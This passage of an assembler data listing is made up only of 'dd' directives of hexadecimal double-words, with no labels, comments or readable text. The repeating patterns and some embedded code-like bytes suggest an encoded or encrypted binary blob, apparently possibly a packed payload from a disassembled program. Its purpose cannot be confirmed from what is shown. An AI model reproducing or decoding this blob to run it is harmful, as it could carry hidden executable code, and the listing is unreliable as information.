0C10E0B34h dd 0EAF117A2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 90E3ABE2h dd 0D36000D4h, 1E4ECDB7h, 170E0B34h, 0EA9F4C3Ch, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 9CE3ABE2h, 0D36000D4h, 1E4ECDB7h dd 5C0E0934h, 0EAAE154Bh, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 84E3ABE2h, 0D36000D4h, 1E4ECDB7h, 9C0E0934h, 0EABAD57Fh dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 98E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 220E1134h, 0EAFA391Fh, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 80E3ABE2h, 0D36000D4h, 1E4ECDB7h, 3F0E0734h dd 0EAB4F7C2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 8CE3ABE2h dd 0D36000D4h, 1E4ECDB7h, 0FF0E1634h, 0EA9B6086h, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D3601A25h, 1E4ECDB7h dd 8C0E0334h, 0EA84BA6Bh, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 88E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0D70E0334h, 0EAD7DF52h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 10E0334h, 0EAB984CCh, 1E6D1087h, 18E30534h dd 0EA604F0Bh dd 0B0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 7D0E1B34h, 0EAF872C0h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0BCE3ABE2h, 0D36000D4h dd 1E4ECDB7h, 2A0E0B34h, 0EAA1DE49h, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 0C0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 590E0334h dd 0EA9C795Ch, 1E6D1087h, 18E30534h, 0EA604F0Bh, 0CCE3ABE2h dd 0D36000D4h, 1E4ECDB7h, 0D80E0334h, 0EAA52416h, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 0C8E3ABE2h, 0D36000D4h, 1E4ECDB7h dd 0D90E1B34h, 0EAB29952h, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 0B8E3ABE2h, 0D36000D4h, 1E4ECDB7h, 5B0E1B34h, 0EAF8CB66h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0A4E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 5D0E1B34h, 0EAB7311Ah, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 0A0E3ABE2h, 7F6000D4h, 566E036h, 150E4432h dd 7F662222h, 0B8F3EE32h, 9C608327h, 1E72B5B7h, 8BE3AF34h dd 0EA6000FEh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 1E7325A7h, 0C4E3CD34h, 9C602925h, 1E5498B7h, 7D26E234h dd 15665432h, 1466225Ah, 0EA667B32h, 1E7325A7h, 48E3CD34h dd 9E602919h, 1E551487h, 48FB0334h, 9C604F29h, 1E75E787h dd 50FB9834h, 9E60831Dh, 1E7D19AFh, 966DA934h, 916911CBh dd 156682EDh, 26061562h, 0FCE3ABF2h, 0AB601A37h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 0D879FBBh, 0EAE31739h, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 136D268Bh, 150E1558h dd 47668822h, 80994458h, 136D379Fh, 323394BBh, 0C5ED8E39h dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1E72B58Fh, 0EAAFA134h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0FCE3EE60h, 9E608337h dd 1E63ADA7h, 0F4F31B34h, 1A601A2Ah, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 527C1F5h, 15662439h dd 90A11132h, 136D89BFh, 15664432h, 0F37B9FB1h, 1A661723h dd 156680B6h, 0A7FBC932h, 0EA603378h, 24E3EEE1h, 96608312h dd 1E46758Fh, 97694634h, 15661150h, 35570DF5h, 15674239h dd 98062232h, 480E487h, 75DB0534h, 3E605631h, 9EB1A9CCh dd 1E72E08Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 136D9103h dd 1571C03Dh, 0A8E52232h, 136D3627h, 1FE38732h, 0D2664432h dd 1E614FB7h, 15661034h, 26DFE932h, 0AF687D03h, 78EBE200h dd 0D0D3989Fh, 0D2608321h, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 136D02F7h, 156E71DBh, 26BECF32h dd 1E614FB7h, 16AED034h, 0D5A74A19h, 9CA77722h, 1E614FAFh dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 0D0D39836h, 9E608321h dd 1E7D19AFh, 9E6DA934h, 0D7ED71E2h, 1EDF0D19h, 0F5A74239h dd 0C0E32130h, 83601A2Ah, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 40F303FBh, 2E604F15h, 2DE22D30h, 96661132h dd 2E278CF0h, 1E7EA5BFh, 0FDE32D34h, 9899EECDh, 4835287h dd 0A8DBC934h, 0B9602916h, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 1E2B5FBFh, 9C87BB34h, 1E63CBBFh dd 433F4B34h, 0E3B15B9h, 1EED4239h, 108FA7B9h, 0F5B71739h dd 6570D31h, 0E3554239h, 0D4CB44A4h, 906513D2h, 136D90E7h dd 0D465E9A4h, 3CDBA16Ch, 14601A21h, 155F0C3Dh, 985D4432h dd 136D2933h, 154B953Dh, 985D8832h, 136D4727h, 1547A63Dh dd 985D1132h, 136D917Fh, 1573C03Dh, 88EB2232h, 1377EA0Ah dd 0EDED5BCDh, 2E7C1BBh, 0A18F2439h, 98661134h, 49DB0AFh dd 96B5BB34h, 1E750B8Fh, 91691134h, 1566882Fh, 316FC109h dd 91692439h, 1566113Eh, 16070D09h, 90694239h, 15662237h dd 0EA99A8DBh, 44E3B3CDh, 1A604F13h, 15663AB7h, 0CDB9232h dd 15608339h, 156DC13Dh, 90EB2232h, 1377A128h, 0EA991DDBh dd 44E37FCDh, 1A602913h, 0EA9998B6h, 0C3DB0BCDh, 146055D7h dd 1571A73Dh, 905D1132h, 13776E07h, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 1E66038Fh, 91691134h dd 15668B55h, 0F347C109h, 12132423h, 1AD794B9h, 2E218E39h dd 4806DB7h, 9E615734h, 1E6414B7h, 905DCF34h, 1377A217h dd 90ED2547h, 136D1243h, 38E3B375h, 606055D4h, 60E3A935h dd 52601A10h, 0F3570D09h, 12134223h, 3C9FA7B9h, 2E211739h dd 480BDB7h, 9E613134h, 1E601BB7h, 905D5634h, 13776E0Bh dd 90ED4347h, 136D00B3h, 28E32A75h, 606099D4h, 0FCE3CF35h dd 52602902h, 0F3279409h, 12138E23h, 19B3C1B9h, 2E212439h dd 48054B7h, 9E61FD34h, 1E73FDB7h, 905D6534h, 1377F77Fh dd 90ED8F47h, 136D758Fh, 5CE31975h, 606000D4h, 0E8DB0B22h dd 15604F12h, 90ED2547h, 136D3873h, 80DB0B75h, 15604F10h dd 905D2D46h, 1377F7E7h, 90ED8F47h, 136D48C7h, 84DBA175h dd 15601A34h, 0A8E5FA46h, 136D508Bh, 2E0F5632h, 480A8B7h dd 9E61FD34h, 1E47B9B7h, 905D6534h, 1377F7FBh, 90ED8F47h dd 136D773Fh, 0A8E31975h, 606000D4h, 8E30335h, 52604F35h dd 0F3ABA709h, 12131723h, 3130DB9h, 2E214239h, 480F3B7h dd 9E616434h, 1E66DDB7h, 905D0334h, 1377C4F3h, 90ED1647h dd 136D8B77h, 0D0E37F75h, 606033D4h, 0A8E39A35h, 5260831Ah dd 1DFF9B1h, 1A662439h, 15641BB6h, 44E3B332h, 606055D4h dd 84E3A935h, 52601A30h, 0F3830D09h, 12134223h, 0BCFA7B9h dd 2E211739h, 480DDB7h, 9E613134h, 1E67F7B7h, 905D5634h dd 13776E6Bh, 90ED4347h, 136D0B83h, 48E32A75h, 606099D4h dd 0E0E3CF35h, 52602921h, 0F3079409h, 5138E23h, 359BF9B1h dd 60662439h, 34E39A35h, 5260832Ah, 0F303C109h, 12132423h dd 344F94B9h, 2E218E39h, 4802DB7h, 96765734h, 1E46EC8Fh dd 12138834h, 15BBC1B9h, 2E212439h, 4807CB7h, 9E61FD34h dd 1E4609B7h, 905D6534h, 1377F743h, 90ED8F47h, 136D67CFh dd 6CE31975h, 606000D4h, 0E8DB0B22h, 15604F12h, 90ED2547h dd 136D108Fh, 60E3B375h, 606055D4h, 0E8DBA122h, 15601A12h dd 90ED8F47h, 136D4877h, 68E31975h, 606000D4h, 0ECE30335h dd 52604F2Ah, 0F3E7A709h, 12131723h, 0DFB0DB9h, 2E214239h dd 480A7B7h, 9E616434h, 1E7479B7h, 905D0334h, 1377C4BBh dd 90ED1647h, 136DA8DFh, 98E37F75h, 606033D4h, 9CE39A35h dd 52608327h, 0F3F7C109h, 12132423h, 19A394B9h, 2E218E39h dd 480D1B7h, 9E615734h, 1E6F7CB7h, 905DCF34h, 1377A2ABh dd 90ED2547h, 136D3A57h, 0B4E3B375h, 60604F25h, 80E3A935h dd 52601A1Bh, 0F3FB0D09h, 12134223h, 1863A7B9h, 2E211739h dd 48051B7h, 967F3134h, 480C38Fh, 1C131134h, 64F35B1h dd 61664239h, 20E3A935h, 52601A29h, 0F3BB0D09h, 0C134223h dd 0F3879FB1h, 60661723h, 3CDB0B3Bh, 15604F21h, 90ED2546h dd 136D32C3h, 0B4E3B375h, 606055D4h, 0BCE3A935h, 52601A2Bh dd 0F3C30D09h, 12134223h dd 3B33A7B9h, 2E211739h, 48021B7h, 9E613134h, 1E6357B7h dd 905D5634h, 13776E9Fh, 90ED4347h, 136D3B2Fh, 0A4E32A75h dd 606099D4h, 2CE3CF35h, 5260292Bh, 0F3D39409h, 12138E23h dd 17F7C1B9h, 1E212439h, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 3F33A709h, 90691739h, 15668839h, 8C4EC1BFh, 0C68F2423h dd 2E99EEC9h, 1E4801B7h, 0DE34B34h, 96662232h, 483C78Fh dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 48055B7h, 19E22D34h, 2E661132h, 4809DB7h, 10E34B34h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 13776E37h, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 1CE37FCDh, 1A6033D4h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 0F36B9409h, 90698E23h, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 54D3ABC2h, 9C601A16h dd 1E485987h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 1E42508Fh, 1DE48734h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 2B7F9B9h, 90A12439h dd 136D053Bh, 15668832h, 0C4D3CD52h, 9860291Ch, 76708AFh dd 1AB57734h, 156666B0h, 0BDFBAF32h, 0EA60014Ch, 0CBE587E1h dd 9E99BBCDh, 1E48F387h, 1CD39834h, 98608326h, 42C1EAFh dd 9EB5DD34h, 1E4250B7h, 0C4E30134h, 74604F1Ch, 0E8E4BFBFh dd 0C6991723h, 150C15BFh, 0C6994220h, 156AA13Dh, 90E51132h dd 136DA6E3h, 0EAB8AD37h, 88EBDDCDh, 137411A1h, 96695BCDh dd 1566443Ah, 0FC62E0B1h, 15661100h, 6BCE15BFh, 0C6994222h dd 156DA13Dh, 0A0ED1132h, 136DA6E3h, 1561C4DBh, 0C4EBA932h dd 9C601A1Ch, 1E485987h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h dd 88EB77CDh, 13770E80h, 0D2EDF1CDh, 2B79419h, 90EF8E39h dd 136D4B0Bh, 2B7A7B9h, 45311739h, 5E4105BFh, 0C4994223h dd 3E3BA7B9h, 42361739h, 2B70DB9h, 98364239h, 42D74BFh dd 9EB7EE34h, 3EAE03E2h, 1E4D19BFh, 4DBA134h, 15601A34h dd 154D0C3Dh, 90ED4432h, 136D020Fh, 13779419h, 0D45D8E39h dd 1571C23Dh, 90ED2232h, 136D31BBh, 13770D31h, 90EF4239h dd 136D35B3h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h dd 1E462CB7h, 0B0E38934h, 0D2604F30h, 1E6033B7h, 15661134h dd 7D26E232h, 15665432h, 0EA664863h, 1E73BCA7h, 4CF37734h dd 9C604F1Dh, 1E46ABB7h, 94E39834h, 4C608325h, 2E7F1CDh dd 0A0992439h, 136D3A6Fh, 0C4D37765h, 98604F25h, 429CAB7h dd 14B6EE34h, 1E6099BFh, 94DBCF34h, 9E602925h, 1E4D4C87h dd 9EC27B34h, 1E758187h, 53A18F34h, 156611CEh, 10A64932h dd 2C577737h, 88E3213Ch, 9E601A27h, 1E7109BFh, 0B86ECD34h dd 159A64F5h, 9C661132h, 1E754D87h, 0EA9EC734h, 1546A73Dh dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h dd 9C624EB1h, 1E758187h, 0E380CB34h, 0D5A7EECDh, 88E38B31h dd 96604F27h, 1E4EFF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 136D311Bh, 2BE21E33h dd 0AD668832h, 15664532h, 0F37B9FB1h, 1A661723h, 156680B6h dd 3CFBC932h, 0EA603361h, 855991E1h, 156E0C3Dh, 0D2E54432h dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 8DB9232h dd 156099D4h, 156EC03Dh, 88EB2232h, 137743CBh, 52EE5BCDh dd 94E3CF36h, 3E602925h, 118E92F5h, 53A12599h, 156644CEh dd 0EA77CB32h, 0A0EFEECDh, 136D9BF7h, 95662C60h, 150C2232h dd 3233A4CDh, 80998E39h, 136D5D47h, 48EBA968h, 0D2601A29h dd 15668833h, 11A7C732h, 0E3BAFBBh, 58F1739h, 0FC9977C7h dd 15664296h, 48EBA952h, 9E601A29h, 0CEB013Bh, 946055D4h dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch dd 9E661132h, 13A00BC2h, 3C73C1B9h, 138F2439h, 9E661133h dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 1E42E187h dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h dd 0B195E6B5h, 1599CFF4h, 31C3D1BFh, 90ED2439h, 136D20F7h dd 906948B7h, 15664428h, 3D23A7F4h, 7D211739h, 0C1FC2FE0h dd 633F1CDh, 90EB2439h, 13686C2Ah, 0EA3458CDh, 1AA6C1E2h dd 15661AB7h, 60E39A32h, 9060831Ah, 0FE34BF2h, 0D3662232h dd 1E4E54B7h, 0FC0EC434h, 0EABF9E2Eh, 1E757787h, 0DE39C34h dd 0EA60864Fh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh dd 0CE3CD32h, 456033D4h, 0A4E39C64h, 0EA6086A7h, 1AA64FE2h dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0CEBA952h dd 456000D4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 1E7FA4A7h dd 159E8D34h, 45ED4432h, 78F3AB3Eh, 4D601A2Dh, 3142CCB9h dd 905D8519h, 136D3D5Fh, 1576933Dh, 905D8832h, 136D5D87h dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h dd 15661516h, 10DE8832h, 98664432h, 1E2BF5BFh, 7587EE34h dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0F38FC1F5h dd 15602423h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h dd 54E39A7Ch, 9E608316h, 1E724DA7h, 96B8A934h, 4B6517F1h dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h dd 136D0CE3h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0F38FA7F5h dd 15641723h, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h dd 54E3CFEBh, 9E602916h, 1E7218A7h, 54DB0B34h, 14604F22h dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh dd 9B8FEECDh, 0D2668832h, 480ADB7h, 15662034h, 1AB89A32h dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 31270DB9h, 80ED4239h dd 136D363Bh, 527ACB1h, 1A678E39h, 15660CB6h, 1ABE1932h dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h dd 1A8708B2h, 3ECC8538h dd 118DA1EDh, 0D3E5BAA1h, 0C4D30130h, 0D2604F1Ch, 1E7663B7h dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h dd 0D28F40F6h, 0D299DDCBh, 480F8B7h, 15668D34h, 96B8CF32h dd 0B6526F1h, 312794B9h, 80ED8E39h, 136D503Bh, 98DBA17Ch dd 14601A33h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h dd 154D0E3Dh, 0A0EF4432h, 136D0CE3h, 0F38F8CB9h, 49678E23h dd 0CB8F4816h, 4A662232h, 14EB94F5h, 15678E39h, 4C3D4432h dd 11A2A16Ch, 0EA9EE6DBh, 54DB0BCDh, 14604F22h, 15DDA63Dh dd 884D1132h, 136DAC73h, 2B7C9B9h, 0DE652439h, 0FCE5DE19h dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch dd 0F38FC1F5h, 15642423h, 0CBED1132h, 95683E3Dh, 9669C4CBh dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh dd 3E661132h, 54E303EBh, 9E604F16h, 1E722BA7h, 0EA20F834h dd 90A177CDh, 1377A2DBh, 15662230h, 0A369CFB9h, 959F083Ch dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh dd 1566DDD3h, 9EBF3A32h, 1E42C9B7h, 1CF3CF34h, 96602926h dd 1E76508Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h dd 136D503Bh, 9069EBB7h, 15661134h, 16F3DBBh, 0EC3F4239h dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h dd 13E21E92h, 0ED668832h, 15664BDBh, 1CD3AB32h, 98601A26h dd 42CD2AFh, 0ECB5BB34h, 53ED72F1h, 0ACE39822h, 4D608339h dd 987A82B1h, 1E7EF78Fh, 5165BC34h, 98CDAC16h, 1E44258Fh dd 51658F34h, 0BE363516h, 65735BFh, 16CB4239h, 0BE4E0676h dd 9830D26Ch, 42CBBAFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 98C0D5F2h, 96A45458h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 0D8E8CE25h, 0DCF1439Bh, 4E4CD32h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 8338C882h dd 462C4565h, 9F3BDF07h, 0C6D552B9h, 0B85E0003h, 0E9835492h dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5046E3BDh dd 0F3113C52h, 0DDD3A074h, 5163B977h, 0DF79F4B9h, 1331B575h dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 7E9034F4h dd 5E98339h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 6B151C17h dd 3FD525FBh, 2EADFDF5h, 22916455h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0D336987Ch, 0FFA073ECh, 7C3ED226h dd 0E983C87Dh, 8BA4F305h, 0F5BD8DDBh, 8D0611E6h, 1201DC8Dh dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h dd 0FFFFF285h, 83C08BFFh, 0B05BDBDh, 9750006h, 29D1BD83h dd 7400060Bh, 8B535019h, 411B8C0h, 85890000h, 60B1299h dd 0B3819D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h dd 411B853h, 85890000h, 60B1299h, 0B0229D8Dh, 0D3FF060Dh dd 0C08B585Bh, 72A4F2BBh, 7F04EB46h, 0E97AA242h, 565h dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh dd 861E1175h, 0B12796C5h, 2923D5DEh, 81E96B80h, 23892DBh dd 0F6EA6D93h, 257F2E92h, 0D225D01Ah, 113F13E7h, 516CB956h dd 38051A8Bh, 46533A0Eh, 0B91D69FDh, 0A892C394h, 0E19C0B4h dd 2D074F33h, 132E7BA0h, 73D127C0h, 2C372B26h, 509AB5C3h dd 0F6C1D7C6h, 4206CE02h, 85C394B9h, 337D9757h, 0FDC5B2A1h dd 806DFF53h, 92F65A77h, 0BD809974h, 59542CC9h, 0A7FC64B0h dd 8024369Ah, 0C39495C4h, 3F13774Bh, 83BECB24h, 9556373Fh dd 0D290C394h, 95582C40h, 0EB2FC394h, 4EA33E2Ch, 6A842D6Dh dd 0A647BD48h, 833240F4h, 6Eh, 311EBD6Dh, 0BE91638Eh, 0BACF3EE8h dd 5BD35D8Fh, 0C394732Fh, 0A4AC5AA0h, 9473FE8Ch, 717C36C3h dd 415F729Bh, 15F32h, 0DEB90000h, 0A716FAD7h, 44FB6150h dd 8AEFC8ADh, 0FB4FF96Fh, 27350C12h, 0F879ECB8h, 32D48EEh dd 9B25C70Fh, 94A07713h, 1D59F8C3h, 47848761h, 70EFFD3h dd 0B9A1CCAh, 0B4A693E2h, 0E9073A49h, 0B994E10Eh, 0DADE5ABAh dd 0D8C517FBh, 3F0DF1CCh, 941DD3B7h, 0A6E54C3h, 2B2671DCh dd 2EBFF9A7h, 578CB3C9h, 0EA66DB6h, 0C3941D7Ah, 2D91F5CDh dd 0A81C2D7Ch, 7AFE0F95h, 0C0D87C8Bh, 0D13509FDh, 1DFF296Dh dd 3240F2DCh, 483CB0C2h, 0DFC39417h, 370E12FBh, 8C4019h dd 0DEAC0000h, 0E771FBDAh, 941D3B4Fh, 0D5238CC3h, 0E06886FAh dd 73BFE55Ah, 0DE462C05h, 370BFFD6h, 0A7A724D3h, 0E61F97E5h dd 9BB6C548h, 0C8C5DF37h, 2073D923h, 0F6273529h, 0FC7791A0h dd 42360913h, 0DA29839Bh, 0A5C913E7h, 0C3943321h, 4785CA6h dd 86079DB0h, 4120CB72h, 4CE632h, 0DE0E0000h, 0C517FBDAh dd 7BDF3996h, 86A0B069h, 0C9D37187h, 4E5B02F6h, 574B8F73h dd 866A8F73h, 14320D17h, 96EA1392h, 0CD38B4AFh, 0C5398DB8h dd 0D7DE352Bh, 5A2E196Fh, 0B6BE0266h, 0C3941DD7h, 0F008851Fh dd 3240F159h, 170h, 0D3DE9C00h, 56A30AFEh, 1D6D198Dh, 98E2C394h dd 61D5E831h, 0D845C92Dh, 0A590E510h, 0E7E30BD1h, 68C3941Dh dd 96103E12h, 0AEA3EE17h, 8893E9B5h, 0FCCFCA62h, 8F60BD9Eh dd 0E2564A75h, 3B46EE3Bh, 7A5EB206h, 0CEFB0CF9h, 0C098EA7Ah dd 8BA93A60h, 0B580957Ah, 0C23441AEh, 7D18C4BCh, 3498FCB8h dd 0BCDE3045h, 0CE45102Ch, 89A40A4h, 608BE0E4h, 0AA13673Ah dd 0A79B6F56h, 0CCD88189h, 465C0DF1h, 0D3228B7Fh, 4C595BE6h dd 8B24A0C4h, 57AB3A60h, 2838573h, 234B889Dh, 3A608BA7h dd 8BA52145h, 0D02A3A60h, 43728667h, 0D6A79BFFh, 0CF03F7CEh dd 11FC08EBh, 0DB44C807h, 8522E82h, 0ED1B7FF8h, 3521DA73h dd 148F72Ch, 0BD110000h, 0DD0B4A50h, 0BAA0BBC1h, 0E015B328h dd 0DC0A9D97h, 9D33A232h, 46BCBD9Eh, 35FE0BF2h, 6129D5B1h dd 0C605A3Ah, 0D0ED36D7h, 8668BD6Ch, 648A1C02h, 23978BB3h dd 0C569FB75h, 3A614881h, 90123C06h, 131E8F15h, 0D8764A3Eh dd 0C7152075h, 0CF0CDD6h, 193441C8h, 3CB751B5h, 364629C0h dd 6F002Ch, 6FEC0000h, 0A09DE20Ch, 5684F8DCh, 255397C4h dd 14A3E559h, 784E6AFAh, 0D921C394h, 7989FD75h, 410C394h dd 7FF745C9h, 0C394790Bh, 0C2D7A69Ch, 535503F7h, 0D0CA3852h dd 0BEFE9DD5h, 0D520EF36h, 4BC5BE4h, 0AE0DDF33h, 0BE63E251h dd 412BC556h, 94F3092Dh, 9DE213C3h, 176DDCA0h, 0C60A428h dd 0C61D65E2h, 7D4C5B4Ah, 0A49BB589h, 76h, 760D6FCCh, 52140E4h dd 0A2AEBD9Fh, 60CB7E0Ah, 9589F13Ah, 122F7821h, 0E6D324C1h dd 0CA8DD212h, 5C843A60h, 0CBDACB51h, 0A8FD50FEh, 8418469Dh dd 2EF96DFFh, 0BF4472CEh, 0FD06F75Bh, 8D714C55h, 82EE2292h dd 0C0247BE5h, 0D7F6921Ah, 1793076h, 0E4BC592Dh, 0A6EBB1E9h dd 76D77A0Eh, 9BB6C330h, 1E64D337h, 77A6303Ah, 69AD1120h dd 0D1F037BFh, 9714E64h, 0D6F2AEAh, 0A740E476h, 28BD861Bh dd 6ABF6ED2h, 9488B5CAh, 78555E4Fh, 1F895C94h, 5349B1CEh dd 6D58AD52h, 310C19F6h, 0BF869C4Dh, 